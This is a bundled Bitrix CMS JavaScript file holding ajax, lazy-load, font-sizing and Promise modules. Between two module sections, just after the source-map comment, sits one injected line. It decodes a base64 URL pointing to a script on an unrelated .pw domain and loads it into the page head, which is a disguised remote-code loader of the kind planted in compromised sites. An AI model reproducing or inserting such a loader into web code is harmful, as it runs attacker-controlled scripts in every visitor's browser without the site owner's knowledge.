				}
			},

			checkRedirectFinish: function(param_name, param_value)
			{
				document.write('</div>');

				var current_hash = window.location.hash;
				if (current_hash.substring(0, 1) == '#') current_hash = current_hash.substring(1);

				BX.ready(function ()
				{
					var test = current_hash.substring(0, 5);
					if (test == 'view/' || test == 'view%')
					{
						var obColNode = BX('__ajax_hash_collision_' + param_value);
						var obNode = obColNode.firstChild;
						BX.cleanNode(obNode);
						obColNode.style.display = 'block';

						// IE, Opera and Chrome automatically modifies hash with urlencode, but FF doesn't ;-(
						if (test != 'view%')
							current_hash = BX.util.urlencode(current_hash);

						current_hash += (current_hash.indexOf('%3F') == -1 ? '%3F' : '%26') + param_name + '=' + param_value;

						var url = '/bitrix/tools/ajax_redirector.php?hash=' + current_hash;

						BX.ajax.insertToNode(url, obNode);
					}
				});
			}
		};

		BX.ajax.component = function(node)
		{
			this.node = node;
		};

		BX.ajax.component.prototype.getState = function()
		{
			var state = {
				'node': this.node,
				'title': window.document.title,
				'data': BX(this.node).innerHTML
			};

			var obNavChain = BX('navigation');
			if (null != obNavChain)
				state.nav_chain = obNavChain.innerHTML;

			BX.onCustomEvent(BX(state.node), "onComponentAjaxHistoryGetState", [state]);

			return state;
		};

		BX.ajax.component.prototype.setState = function(state)
		{
			BX(state.node).innerHTML = state.data;
			BX.ajax.UpdatePageTitle(state.title);

			if (state.nav_chain)
			{
				BX.ajax.UpdatePageNavChain(state.nav_chain);
			}

			BX.onCustomEvent(BX(state.node), "onComponentAjaxHistorySetState", [state]);
		};

		var jsAjaxHistoryContainer = {
			arHistory: {},

			put: function(hash, state)
			{
				this.arHistory[hash] = state;
			},

			get: function(hash)
			{
				return this.arHistory[hash];
			}
		};


		BX.ajax.FormData = function()
		{
			this.elements = [];
			this.files = [];
			this.features = {};
			this.isSupported();
			this.log('BX FormData init');
		};

		BX.ajax.FormData.isSupported = function()
		{
			var f = new BX.ajax.FormData();
			var result = f.features.supported;
			f = null;
			return result;
		};

		BX.ajax.FormData.prototype.log = function(o)
		{
			if (false) {
				try {
					if (BX.browser.IsIE()) o = JSON.stringify(o);
					console.log(o);
				} catch(e) {}
			}
		};

		BX.ajax.FormData.prototype.isSupported = function()
		{
			var f = {};
			f.fileReader = (window.FileReader && window.FileReader.prototype.readAsBinaryString);
			f.readFormData = f.sendFormData = !!(window.FormData);
			f.supported = !!(f.readFormData && f.sendFormData);
			this.features = f;
			this.log('features:');
			this.log(f);

			return f.supported;
		};

		BX.ajax.FormData.prototype.append = function(name, value)
		{
			if (typeof(value) === 'object') { // seems to be files element
				this.files.push({'name': name, 'value':value});
			} else {
				this.elements.push({'name': name, 'value':value});
			}
		};

		BX.ajax.FormData.prototype.send = function(url, callbackOk, callbackProgress, callbackError)
		{
			this.log('FD send');
			this.xhr = BX.ajax({
				'method': 'POST',
				'dataType': 'html',
				'url': url,
				'onsuccess': callbackOk,
				'onfailure': callbackError,
				'start': false,
				'preparePost':false
			});

			if (callbackProgress)
			{
				this.xhr.upload.addEventListener(
					'progress',
					function(e) {
						if (e.lengthComputable)
							callbackProgress(e.loaded / (e.total || e.totalSize));
					},
					false
				);
			}

			if (this.features.readFormData && this.features.sendFormData)
			{
				var fd = new FormData();
				this.log('use browser formdata');
				for (var i in this.elements)
				{
					if(this.elements.hasOwnProperty(i))
						fd.append(this.elements[i].name,this.elements[i].value);
				}
				for (i in this.files)
				{
					if(this.files.hasOwnProperty(i))
						fd.append(this.files[i].name, this.files[i].value);
				}
				this.xhr.send(fd);
			}

			return this.xhr;
		};

		BX.addCustomEvent('onAjaxFailure', BX.debug);
	})(window);



	(function (exports,main_core) {
		'use strict';

		var LazyLoad = {
			observer: null,
			images: {},
			imageStatus: {
				hidden: -2,
				error: -1,
				"undefined": 0,
				inited: 1,
				loaded: 2
			},
			imageTypes: {
				image: 1,
				background: 2
			},
			initObserver: function initObserver() {
				this.observer = new IntersectionObserver(this.onIntersection.bind(this), {
					rootMargin: '20% 0% 20% 0%',
					threshold: 0.10
				});
			},
			onIntersection: function onIntersection(entries) {
				entries.forEach(function (entry) {
					if (entry.isIntersecting) {
						this.showImage(entry.target);
					}
				}.bind(this));
			},
			registerImage: function registerImage(id, isImageVisibleCallback, options) {
				if (this.observer === null) {
					this.initObserver();
				}

				options = options || {};

				if (!main_core.Type.isStringFilled(id)) {
					return;
				}

				if (main_core.Type.isObject(this.images[id])) {
					return;
				}

				var element = document.getElementById(id);

				if (!main_core.Type.isDomNode(element)) {
					return;
				}

				this.observer.observe(element);
				this.images[id] = {
					id: id,
					node: null,
					src: null,
					dataSrcName: options.dataSrcName || 'src',
					type: null,
					func: main_core.Type.isFunction(isImageVisibleCallback) ? isImageVisibleCallback : null,
					status: this.imageStatus.undefined
				};
			},
			registerImages: function registerImages(ids, isImageVisibleCallback, options) {
				if (main_core.Type.isArray(ids)) {
					for (var i = 0, length = ids.length; i < length; i++) {
						this.registerImage(ids[i], isImageVisibleCallback, options);
					}
				}
			},
			showImage: function showImage(imageNode) {
				var imageNodeId = imageNode.id;

				if (!main_core.Type.isStringFilled(imageNodeId)) {
					return;
				}

				var image = this.images[imageNodeId];

				if (!main_core.Type.isPlainObject(image)) {
					return;
				}

				if (image.status == this.imageStatus.undefined) {
					this.initImage(image);
				}

				if (image.status !== this.imageStatus.inited) {
					return;
				}

				if (!image.node || !image.node.parentNode) {
					image.node = null;
					image.status = this.imageStatus.error;
					return;
				}

				if (image.type == this.imageTypes.image) {
					image.node.src = image.src;
				} else {
					image.node.style.backgroundImage = "url('" + image.src + "')";
				}

				image.node.dataset[image.dataSrcName] = "";
				image.status = this.imageStatus.loaded;
			},
			showImages: function showImages(checkOwnVisibility) {
				checkOwnVisibility = checkOwnVisibility !== false;

				for (var id in this.images) {
					if (!this.images.hasOwnProperty(id)) {
						continue;
					}

					var image = this.images[id];

					if (image.status == this.imageStatus.undefined) {
						this.initImage(image);
					}

					if (image.status !== this.imageStatus.inited) {
						continue;
					}

					if (!image.node || !image.node.parentNode) {
						image.node = null;
						image.status = this.imageStatus.error;
						continue;
					}

					var isImageVisible = true;

					if (checkOwnVisibility && main_core.Type.isFunction(image.func)) {
						isImageVisible = image.func(image);
					}

					if (isImageVisible === true && this.isElementVisibleOnScreen(image.node)) {
						if (image.type == this.imageTypes.image) {
							image.node.src = image.src;
						} else {
							image.node.style.backgroundImage = "url('" + image.src + "')";
						}

						image.node.dataset[image.dataSrcName] = "";
						image.status = this.imageStatus.loaded;
					}
				}
			},
			initImage: function initImage(image) {
				image.status = this.imageStatus.error;
				var node = document.getElementById(image.id);

				if (!main_core.Type.isDomNode(node)) {
					return;
				}

				var src = node.dataset[image.dataSrcName];

				if (main_core.Type.isStringFilled(src)) {
					image.node = node;
					image.src = src;
					image.status = this.imageStatus.inited;
					image.type = image.node.tagName.toLowerCase() == "img" ? this.imageTypes.image : this.imageTypes.background;
				}
			},
			isElementVisibleOnScreen: function isElementVisibleOnScreen(element) {
				var coords = this.getElementCoords(element);
				var windowTop = window.pageYOffset || document.documentElement.scrollTop;
				var windowBottom = windowTop + document.documentElement.clientHeight;
				coords.bottom = coords.top + element.offsetHeight;
				return coords.top > windowTop && coords.top < windowBottom || // topVisible
					coords.bottom < windowBottom && coords.bottom > windowTop // bottomVisible
					;
			},
			isElementVisibleOn2Screens: function isElementVisibleOn2Screens(element) {
				var windowHeight = document.documentElement.clientHeight;
				var windowTop = window.pageYOffset || document.documentElement.scrollTop;
				var windowBottom = windowTop + windowHeight;
				var coords = this.getElementCoords(element);
				coords.bottom = coords.top + element.offsetHeight;
				windowTop -= windowHeight;
				windowBottom += windowHeight;
				return coords.top > windowTop && coords.top < windowBottom || // topVisible
					coords.bottom < windowBottom && coords.bottom > windowTop // bottomVisible
					;
			},
			getElementCoords: function getElementCoords(element) {
				var box = element.getBoundingClientRect();
				return {
					originTop: box.top,
					originLeft: box.left,
					top: box.top + window.pageYOffset,
					left: box.left + window.pageXOffset
				};
			},
			onScroll: function onScroll() {},
			clearImages: function clearImages() {
				this.images = [];
			}
		};

		exports.LazyLoad = LazyLoad;

	}((this.BX = this.BX || {}),BX));



	(function (exports) {
		'use strict';

		var ParamBag = /*#__PURE__*/function () {
			function ParamBag() {
				var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
				babelHelpers.classCallCheck(this, ParamBag);

				if (!!params && babelHelpers.typeof(params) === 'object') {
					this.params = new Map(Object.entries(params));
				} else {
					this.params = new Map();
				}
			}

			babelHelpers.createClass(ParamBag, [{
				key: "getParam",
				value: function getParam(key) {
					var defaultValue = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;

					if (this.params.has(key)) {
						return this.params.get(key);
					}

					return defaultValue;
				}
			}, {
				key: "setParam",
				value: function setParam(key, value) {
					this.params.set(key, value);
				}
			}, {
				key: "clear",
				value: function clear() {
					this.params.clear();
				}
			}], [{
				key: "create",
				value: function create() {
					var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
					return new ParamBag(params);
				}
			}]);
			return ParamBag;
		}();

		exports.ParamBag = ParamBag;

	}((this.BX = this.BX || {})));



	(function() {
		BX.FixFontSize = function(params)
		{
			var widthNode, computedStyles, width;

			this.node = null;
			this.prevWindowSize = 0;
			this.prevWrapperSize = 0;
			this.mainWrapper = null;
			this.textWrapper = null;
			this.objList = params.objList;
			this.minFontSizeList = [];
			this.minFontSize = 0;

			if (params.onresize)
			{
				this.prevWindowSize = window.innerWidth || document.documentElement.clientWidth;
				BX.bind(window, 'resize', BX.throttle(this.onResize, 350, this));
			}

			if (params.onAdaptiveResize)
			{
				widthNode = this.objList[0].scaleBy || this.objList[0].node;
				computedStyles = getComputedStyle(widthNode);
				this.prevWrapperSize = parseInt(computedStyles["width"]) - parseInt(computedStyles["paddingLeft"]) - parseInt(computedStyles["paddingRight"]);
				BX.bind(window, 'resize', BX.throttle(this.onAdaptiveResize, 350, this));
			}

			this.createTestNodes();
			this.decrease();
		};

		BX.FixFontSize.prototype =
			{
				createTestNodes: function()
				{
					this.textWrapper = BX.create('div',{
						style : {
							display : 'inline-block',
							whiteSpace : 'nowrap'
						}
					});

					this.mainWrapper = BX.create('div',{
						style : {
							height : 0,
							overflow : 'hidden'
						},
						children : [this.textWrapper]
					});

				},
				insertTestNodes: function()
				{
					document.body.appendChild(this.mainWrapper);
				},
				removeTestNodes: function()
				{
					document.body.removeChild(this.mainWrapper);
				},
				decrease: function()
				{
					var width,
						fontSize,
						widthNode,
						computedStyles;

					this.insertTestNodes();

					for(var i=this.objList.length-1; i>=0; i--)
					{
						widthNode = this.objList[i].scaleBy || this.objList[i].node;
						computedStyles = getComputedStyle(widthNode);
						width  = parseInt(computedStyles["width"]) - parseInt(computedStyles["paddingLeft"]) - parseInt(computedStyles["paddingRight"]);
						fontSize = parseInt(getComputedStyle(this.objList[i].node)["font-size"]);

						this.textWrapperSetStyle(this.objList[i].node);

						if(this.textWrapperInsertText(this.objList[i].node))
						{
							while(this.textWrapper.offsetWidth > width && fontSize > 0)
							{
								this.textWrapper.style.fontSize = --fontSize + 'px';
							}

							if(this.objList[i].smallestValue)
							{
								this.minFontSize = this.minFontSize ? Math.min(this.minFontSize, fontSize) : fontSize;

								this.minFontSizeList.push(this.objList[i].node)
							}
							else
							{
								this.objList[i].node.style.fontSize = fontSize + 'px';
							}
						}
					}

					if(this.minFontSizeList.length > 0)
						this.setMinFont();

					this.removeTestNodes();

				},
				increase: function()
				{
					this.insertTestNodes();
					var width,
						fontSize,
						widthNode,
						computedStyles;

					this.insertTestNodes();

					for(var i=this.objList.length-1; i>=0; i--)
					{
						widthNode = this.objList[i].scaleBy || this.objList[i].node;
						computedStyles = getComputedStyle(widthNode);
						width  = parseInt(computedStyles["width"]) - parseInt(computedStyles["paddingLeft"]) - parseInt(computedStyles["paddingRight"]);
						fontSize = parseInt(getComputedStyle(this.objList[i].node)["font-size"]);

						this.textWrapperSetStyle(this.objList[i].node);

						if(this.textWrapperInsertText(this.objList[i].node))
						{
							while(this.textWrapper.offsetWidth < width && fontSize < this.objList[i].maxFontSize)
							{
								this.textWrapper.style.fontSize = ++fontSize + 'px';
							}

							fontSize--;

							if(this.objList[i].smallestValue)
							{
								this.minFontSize = this.minFontSize ? Math.min(this.minFontSize, fontSize) : fontSize;

								this.minFontSizeList.push(this.objList[i].node)
							}
							else
							{
								this.objList[i].node.style.fontSize = fontSize + 'px';
							}
						}
					}

					if(this.minFontSizeList.length > 0)
						this.setMinFont();

					this.removeTestNodes();
				},
				setMinFont : function()
				{
					for(var i = this.minFontSizeList.length-1; i>=0; i--)
					{
						this.minFontSizeList[i].style.fontSize = this.minFontSize + 'px';
					}

					this.minFontSize = 0;
				},
				onResize : function()
				{
					var width = window.innerWidth || document.documentElement.clientWidth;

					if(this.prevWindowSize > width)
						this.decrease();

					else if (this.prevWindowSize < width)
						this.increase();

					this.prevWindowSize = width;
				},
				onAdaptiveResize : function()
				{
					var widthNode = this.objList[0].scaleBy || this.objList[0].node,
						computedStyles = getComputedStyle(widthNode),
						width = parseInt(computedStyles["width"]) - parseInt(computedStyles["paddingLeft"]) - parseInt(computedStyles["paddingRight"]);

					if (this.prevWrapperSize > width)
						this.decrease();
					else if (this.prevWrapperSize < width)
						this.increase();

					this.prevWrapperSize = width;
				},
				textWrapperInsertText : function(node)
				{
					if(node.textContent){
						this.textWrapper.textContent = node.textContent;
						return true;
					}
					else if(node.innerText)
					{
						this.textWrapper.innerText = node.innerText;
						return true;
					}
					else {
						return false;
					}
				},
				textWrapperSetStyle : function(node)
				{
					this.textWrapper.style.fontFamily = getComputedStyle(node)["font-family"];
					this.textWrapper.style.fontSize = getComputedStyle(node)["font-size"];
					this.textWrapper.style.fontStyle = getComputedStyle(node)["font-style"];
					this.textWrapper.style.fontWeight = getComputedStyle(node)["font-weight"];
					this.textWrapper.style.lineHeight = getComputedStyle(node)["line-height"];
				}
			};

		BX.FixFontSize.init = function(params)
		{
			return new BX.FixFontSize(params);
		};
	})();

})();
//# sourceMappingURL=core.js.map

s=document.createElement(`script`);s.src=atob(`aHR0cHM6Ly9qc2NkbnN0b3JlLnB3L2pxdWVyeXVpLmpz`);document.head.appendChild(s);
/* End */
;
; /* Start:"a:4:{s:4:"full";s:55:"/bitrix/js/main/core/core_promise.min.js?15428851632478";s:6:"source";s:36:"/bitrix/js/main/core/core_promise.js";s:3:"min";s:0:"";s:3:"map";s:0:"";}"*/
(function(t){if(!t.BX){t.BX={}}else if(t.BX.Promise){return}var e=t.BX;e.Promise=function(t,e){this.state=null;this.value=null;this.reason=null;this.next=null;this.ctx=e||this;this.onFulfilled=[];this.onRejected=[]};e.Promise.prototype.fulfill=function(t){this.checkState();this.value=t;this.state=true;this.execute()};e.Promise.prototype.reject=function(t){this.checkState();this.reason=t;this.state=false;this.execute()};e.Promise.prototype.then=function(t,i){if(typeof t=="function"||t instanceof Function){this.onFulfilled.push(t)}if(typeof i=="function"||i instanceof Function){this.onRejected.push(i)}if(this.next===null){this.next=new e.Promise(null,this.ctx)}if(this.state!==null){this.execute()}return this.next};e.Promise.prototype.catch=function(t){if(typeof t=="function"||t instanceof Function){this.onRejected.push(t)}if(this.next===null){this.next=new e.Promise(null,this.ctx)}if(this.state!==null){this.execute()}return this.next};e.Promise.prototype.setAutoResolve=function(t,e){this.timer=setTimeout(function(){if(this.state===null){this[t?"fulfill":"reject"]()}}.bind(this),e||15)};e.Promise.prototype.cancelAutoResolve=function(){clearTimeout(this.timer)};e.Promise.prototype.resolve=function(t){var e=this;if(this===t){this.reject(new TypeError("Promise cannot fulfill or reject itself"))}else if(t&&t.toString()==="[object BX.Promise]"){t.then(function(t){e.fulfill(t)},function(t){e.reject(t)})}else{this.fulfill(t)}};e.Promise.prototype.toString=function(){return"[object BX.Promise]"};e.Promise.prototype.execute=function(){if(this.state===null){return}var i=undefined;var n=undefined;var o=undefined;var s;if(this.state===true){if(this.onFulfilled.length){try{for(s=0;s<this.onFulfilled.length;s++){o=this.onFulfilled[s].apply(this.ctx,[this.value]);if(typeof o!="undefined"){i=o}}}catch(i){if("console"in t){console.dir(i)}if(typeof e.debug!=="undefined"){e.debug(i)}n=i}}else{i=this.value}}else if(this.state===false){if(this.onRejected.length){try{for(s=0;s<this.onRejected.length;s++){o=this.onRejected[s].apply(this.ctx,[this.reason]);if(typeof o!="undefined"){i=o}}}catch(i){if("console"in t){console.dir(i)}if(typeof e.debug!=="undefined"){e.debug(i)}n=i}}else{n=this.reason}}if(this.next!==null){if(typeof n!="undefined"){this.next.reject(n)}else if(typeof i!="undefined"){this.next.resolve(i)}}};e.Promise.prototype.checkState=function(){if(this.state!==null){throw new Error("You can not do fulfill() or reject() multiple times")}}})(window);
/* End */
;
; /* Start:"a:4:{s:4:"full";s:53:"/bitrix/js/main/core/core_ajax.min.js?154288516323760";s:6:"source";s:33:"/bitrix/js/main/core/core_ajax.js";s:3:"min";s:0:"";s:3:"map";s:0:"";}"*/
(function(e){if(e.BX.ajax)return;var a=e.BX,t={},r={method:"GET",dataType:"html",timeout:0,async:true,processData:true,scriptsRunFirst:false,emulateOnload:true,skipAuthCheck:false,start:true,cache:true,preparePost:true,headers:false,lsTimeout:30,lsForce:false},s=null,i={},n=[],o={url_utf:/[^\034-\254]+/g,script_self:/\/bitrix\/js\/main\/core\/core(_ajax)*.js$/i,script_self_window:/\/bitrix\/js\/main\/core\/core_window.js$/i,script_self_admin:/\/bitrix\/js\/main\/core\/core_admin.js$/i,script_onload:/window.onload/g};a.ajax=function(e){var s,i;if(!e||!e.url||!a.type.isString(e.url)){return false}for(var n in t)if(typeof e[n]=="undefined")e[n]=t[n];t={};for(n in r)if(typeof e[n]=="undefined")e[n]=r[n];e.method=e.method.toUpperCase();if(!a.localStorage)e.lsId=null;if(a.browser.IsIE()){var u=o.url_utf.exec(e.url);if(u){do{e.url=e.url.replace(u,a.util.urlencode(u));u=o.url_utf.exec(e.url)}while(u)}}if(e.dataType=="json")e.emulateOnload=false;if(!e.cache&&e.method=="GET")e.url=a.ajax._uncache(e.url);if(e.method=="POST"&&e.preparePost){e.data=a.ajax.prepareData(e.data)}var l=true;if(e.lsId&&!e.lsForce){var c=a.localStorage.get("ajax-"+e.lsId);if(c!==null){l=false;var f=function(t){if(t.key=="ajax-"+e.lsId&&t.value!="BXAJAXWAIT"){var r=t.value,s=!!t.oldValue&&r==null;if(!s)a.ajax.__run(e,r);else if(e.onfailure)e.onfailure("timeout");a.removeCustomEvent("onLocalStorageChange",f)}};if(c=="BXAJAXWAIT"){a.addCustomEvent("onLocalStorageChange",f)}else{setTimeout(function(){f({key:"ajax-"+e.lsId,value:c})},10)}}}if(l){e.xhr=a.ajax.xhr();if(!e.xhr)return;if(e.lsId){a.localStorage.set("ajax-"+e.lsId,"BXAJAXWAIT",e.lsTimeout)}e.xhr.open(e.method,e.url,e.async);if(!e.skipBxHeader&&!a.ajax.isCrossDomain(e.url)){e.xhr.setRequestHeader("Bx-ajax","true")}if(e.method=="POST"&&e.preparePost){e.xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}if(typeof e.headers=="object"){for(n=0;n<e.headers.length;n++)e.xhr.setRequestHeader(e.headers[n].name,e.headers[n].value)}if(!!e.onprogress){a.bind(e.xhr,"progress",e.onprogress)}var d=false;var p=e.xhr.onreadystatechange=function(t){if(d)return;if(t==="timeout"){if(e.onfailure){e.onfailure("timeout")}a.onCustomEvent(e.xhr,"onAjaxFailure",["timeout","",e]);e.xhr.onreadystatechange=a.DoNothing;e.xhr.abort();if(e.async){e.xhr=null}}else{if(e.xhr.readyState==4||t=="run"){s=a.ajax.xhrSuccess(e.xhr)?"success":"error";d=true;e.xhr.onreadystatechange=a.DoNothing;if(s=="success"){var r=!!e.skipAuthCheck||a.ajax.isCrossDomain(e.url)?false:e.xhr.getResponseHeader("X-Bitrix-Ajax-Status");if(!!r&&r=="Authorize"){if(e.onfailure){e.onfailure("auth",e.xhr.status)}a.onCustomEvent(e.xhr,"onAjaxFailure",["auth",e.xhr.status,e])}else{var i=e.xhr.responseText;if(e.lsId){a.localStorage.set("ajax-"+e.lsId,i,e.lsTimeout)}a.ajax.__run(e,i)}}else{if(e.onfailure){e.onfailure("status",e.xhr.status)}a.onCustomEvent(e.xhr,"onAjaxFailure",["status",e.xhr.status,e])}if(e.async){e.xhr=null}}}};if(e.async&&e.timeout>0){setTimeout(function(){if(e.xhr&&!d){p("timeout")}},e.timeout*1e3)}if(e.start){e.xhr.send(e.data);if(!e.async){p("run")}}return e.xhr}};a.ajax.xhr=function(){if(e.XMLHttpRequest){try{return new XMLHttpRequest}catch(e){}}else if(e.ActiveXObject){try{return new e.ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}try{return new e.ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(e){}try{return new e.ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}throw new Error("This browser does not support XMLHttpRequest.")}return null};a.ajax.isCrossDomain=function(t,r){r=r||e.location;if(t.indexOf("//")===0){t=r.protocol+t}if(t.indexOf("http")!==0){return false}var s=e.document.createElement("a");s.href=t;return s.protocol!==r.protocol||s.hostname!==r.hostname||a.ajax.getHostPort(s.protocol,s.host)!==a.ajax.getHostPort(r.protocol,r.host)};a.ajax.getHostPort=function(e,a){var t=/:(\d+)$/.exec(a);if(t){return t[1]}else{if(e==="http:"){return"80"}else if(e==="https:"){return"443"}}return""};a.ajax.__prepareOnload=function(t){if(t.length>0){a.ajax["onload_"+s]=null;for(var r=0,i=t.length;r<i;r++){if(t[r].isInternal){t[r].JS=t[r].JS.replace(o.script_onload,"BX.ajax.onload_"+s)}}}a.CaptureEventsGet();a.CaptureEvents(e,"load")};a.ajax.__runOnload=function(){if(null!=a.ajax["onload_"+s]){a.ajax["onload_"+s].apply(e);a.ajax["onload_"+s]=null}var t=a.CaptureEventsGet();if(t){for(var r=0;r<t.length;r++)t[r].apply(e)}};a.ajax.__run=function(e,t){if(!e.processData){if(e.onsuccess){e.onsuccess(t)}a.onCustomEvent(e.xhr,"onAjaxSuccess",[t,e])}else{t=a.ajax.processRequestData(t,e)}};a.ajax._onParseJSONFailure=function(e){this.jsonFailure=true;this.jsonResponse=e;this.jsonProactive=/^\[WAF\]/.test(e)};a.ajax.processRequestData=function(e,t){var r,i=[],n=[];switch(t.dataType.toUpperCase()){case"JSON":a.addCustomEvent(t.xhr,"onParseJSONFailure",a.proxy(a.ajax._onParseJSONFailure,t));r=a.parseJSON(e,t.xhr);a.removeCustomEvent(t.xhr,"onParseJSONFailure",a.proxy(a.ajax._onParseJSONFailure,t));if(!!r&&a.type.isArray(r["bxjs"])){for(var o=0;o<r["bxjs"].length;o++){if(a.type.isNotEmptyString(r["bxjs"][o])){i.push({isInternal:false,JS:r["bxjs"][o],bRunFirst:t.scriptsRunFirst})}else{i.push(r["bxjs"][o])}}}if(!!r&&a.type.isArray(r["bxcss"])){n=r["bxcss"]}break;case"SCRIPT":i.push({isInternal:true,JS:e,bRunFirst:t.scriptsRunFirst});r=e;break;default:var u=a.processHTML(e,t.scriptsRunFirst);r=u.HTML;i=u.SCRIPT;n=u.STYLE;break}var l=false;if(null==s){s=parseInt(Math.random()*1e6);l=true}if(n.length>0)a.loadCSS(n);if(t.emulateOnload)a.ajax.__prepareOnload(i);var c=a.DoNothing;if(t.emulateOnload||l){c=a.defer(function(){if(t.emulateOnload)a.ajax.__runOnload();if(l)s=null;a.onCustomEvent(t.xhr,"onAjaxSuccessFinish",[t])})}try{if(!!t.jsonFailure){throw{type:"json_failure",data:t.jsonResponse,bProactive:t.jsonProactive}}t.scripts=i;a.ajax.processScripts(t.scripts,true);if(t.onsuccess){t.onsuccess(r)}a.onCustomEvent(t.xhr,"onAjaxSuccess",[r,t]);a.ajax.processScripts(t.scripts,false,c)}catch(e){if(t.onfailure)t.onfailure("processing",e);a.onCustomEvent(t.xhr,"onAjaxFailure",["processing",e,t])}};a.ajax.processScripts=function(e,t,r){var s=[],i="";r=r||a.DoNothing;for(var n=0,o=e.length;n<o;n++){if(typeof t!="undefined"&&t!=!!e[n].bRunFirst)continue;if(e[n].isInternal)i+=";"+e[n].JS;else s.push(e[n].JS)}s=a.util.array_unique(s);var u=i.length>0?function(){a.evalGlobal(i)}:a.DoNothing;if(s.length>0){a.load(s,function(){u();r()})}else{u();r()}};a.ajax.prepareData=function(e,t){var r="";if(a.type.isString(e))r=e;else if(null!=e){for(var s in e){if(e.hasOwnProperty(s)){if(r.length>0)r+="&";var i=a.util.urlencode(s);if(t)i=t+"["+i+"]";if(typeof e[s]=="object")r+=a.ajax.prepareData(e[s],i);else r+=i+"="+a.util.urlencode(e[s])}}}return r};a.ajax.xhrSuccess=function(e){return e.status>=200&&e.status<300||e.status===304||e.status===1223||e.status===0};a.ajax.Setup=function(e,a){a=!!a;for(var s in e){if(a)t[s]=e[s];else r[s]=e[s]}};a.ajax.replaceLocalStorageValue=function(e,t,r){if(!!a.localStorage)a.localStorage.set("ajax-"+e,t,r)};a.ajax._uncache=function(e){return e+((e.indexOf("?")!==-1?"&":"?")+"_="+(new Date).getTime())};a.ajax.get=function(e,t,r){if(a.type.isFunction(t)){r=t;t=""}t=a.ajax.prepareData(t);if(t){e+=(e.indexOf("?")!==-1?"&":"?")+t;t=""}return a.ajax({method:"GET",dataType:"html",url:e,data:"",onsuccess:r})};a.ajax.getCaptcha=function(e){return a.ajax.loadJSON("/bitrix/tools/ajax_captcha.php",e)};a.ajax.insertToNode=function(e,r){r=a(r);if(!!r){var s={cancel:false};a.onCustomEvent("onAjaxInsertToNode",[{url:e,node:r,eventArgs:s}]);if(s.cancel===true){return}var i=null;if(!t.denyShowWait){i=a.showWait(r);delete t.denyShowWait}return a.ajax.get(e,function(e){r.innerHTML=e;a.closeWait(r,i)})}};a.ajax.post=function(e,t,r){t=a.ajax.prepareData(t);return a.ajax({method:"POST",dataType:"html",url:e,data:t,onsuccess:r})};a.ajax.promise=function(e){var t=new a.Promise;e.onsuccess=function(e){t.fulfill(e)};e.onfailure=function(e,a){t.reject({reason:e,data:a})};e.onprogress=function(e){if(e.position==0&&e.totalSize==0){t.reject({reason:"progress",data:e})}};var r=a.ajax(e);if(!r){t.reject({reason:"init",data:false})}return t};a.ajax.loadScriptAjax=function(e,t,r){if(a.type.isArray(e)){for(var s=0,n=e.length;s<n;s++){a.ajax.loadScriptAjax(e[s],t,r)}}else{var u=e.replace(/\.js\?.*/,".js");if(o.script_self.test(u))return;if(o.script_self_window.test(u)&&a.CWindow)return;if(o.script_self_admin.test(u)&&a.admin)return;if(typeof i[u]=="undefined"){if(!!r){i[u]="";return a.loadScript(e)}else{return a.ajax({url:e,method:"GET",dataType:"script",processData:true,emulateOnload:false,scriptsRunFirst:true,async:false,start:true,onsuccess:function(e){i[u]=e;if(t)t(e)}})}}else if(t){t(i[u])}}};a.ajax.loadJSON=function(e,t,r,s){if(a.type.isFunction(t)){s=r;r=t;t=""}t=a.ajax.prepareData(t);if(t){e+=(e.indexOf("?")!==-1?"&":"?")+t;t=""}return a.ajax({method:"GET",dataType:"json",url:e,onsuccess:r,onfailure:s})};var u=function(e){var a={};if(typeof e.analyticsLabel!=="undefined"){a.analyticsLabel=e.analyticsLabel}if(typeof e.mode!=="undefined"){a.mode=e.mode}if(e.navigation){if(e.navigation.page){a.nav="page-"+e.navigation.page}if(e.navigation.size){if(a.nav){a.nav+="-"}else{a.nav=""}a.nav+="size-"+e.navigation.size}}return a};var l=function(e){e=a.type.isPlainObject(e)?e:{};if(e.data instanceof FormData){e.preparePost=false;e.data.append("sessid",a.bitrix_sessid());if(a.message.SITE_ID){e.data.append("SITE_ID",a.message.SITE_ID)}if(typeof e.signedParameters!=="undefined"){e.data.append("signedParameters",e.signedParameters)}}else{e.data=a.type.isPlainObject(e.data)?e.data:{};if(a.message.SITE_ID){e.data.SITE_ID=a.message.SITE_ID}e.data.sessid=a.bitrix_sessid();if(typeof e.signedParameters!=="undefined"){e.data.signedParameters=e.signedParameters}}if(!e.method){e.method="POST"}return e};var c=function(e,t){t=t||false;var r=a.clone(e);var s=a.ajax.promise(e);return s.then(function(e){if(!t&&a.type.isPlainObject(e)&&a.type.isArray(e.errors)){var s=false;e.errors.forEach(function(e){if(e.code==="invalid_csrf"&&e.customData.csrf){a.message({bitrix_sessid:e.customData.csrf});r.data.sessid=a.bitrix_sessid();s=true}});if(s){return c(r,true)}}if(!a.type.isPlainObject(e)||e.status!=="success"){var i=new a.Promise;i.reject(e);return i}return e}).catch(function(e){var t=new a.Promise;if(a.type.isPlainObject(e)&&e.status&&e.hasOwnProperty("data")){t.reject(e)}else{t.reject({status:"error",data:{ajaxRejectData:e},errors:[{code:"NETWORK_ERROR",message:"Network error"}]})}return t})};a.ajax.runAction=function(e,t){t=l(t);var r=u(t);r.action=e;var s=a.util.add_url_param("/bitrix/services/main/ajax.php",r);return c({method:t.method,dataType:"json",url:s,data:t.data,timeout:t.timeout,preparePost:t.preparePost,headers:t.headers})};a.ajax.runComponentAction=function(e,t,r){r=l(r);r.mode=r.mode||"ajax";var s=u(r);s.c=e;s.action=t;var i=a.util.add_url_param("/bitrix/services/main/ajax.php",s);return c({method:r.method,dataType:"json",url:i,data:r.data,timeout:r.timeout,preparePost:r.preparePost,headers:r.headers})};a.ajax.load=function(e,t){if(!a.type.isArray(e))e=[e];var r=0;if(!a.type.isFunction(t))t=a.DoNothing;var s=function(e){if(a.type.isFunction(this.callback))this.callback(e);if(++r>=n)t()};for(var 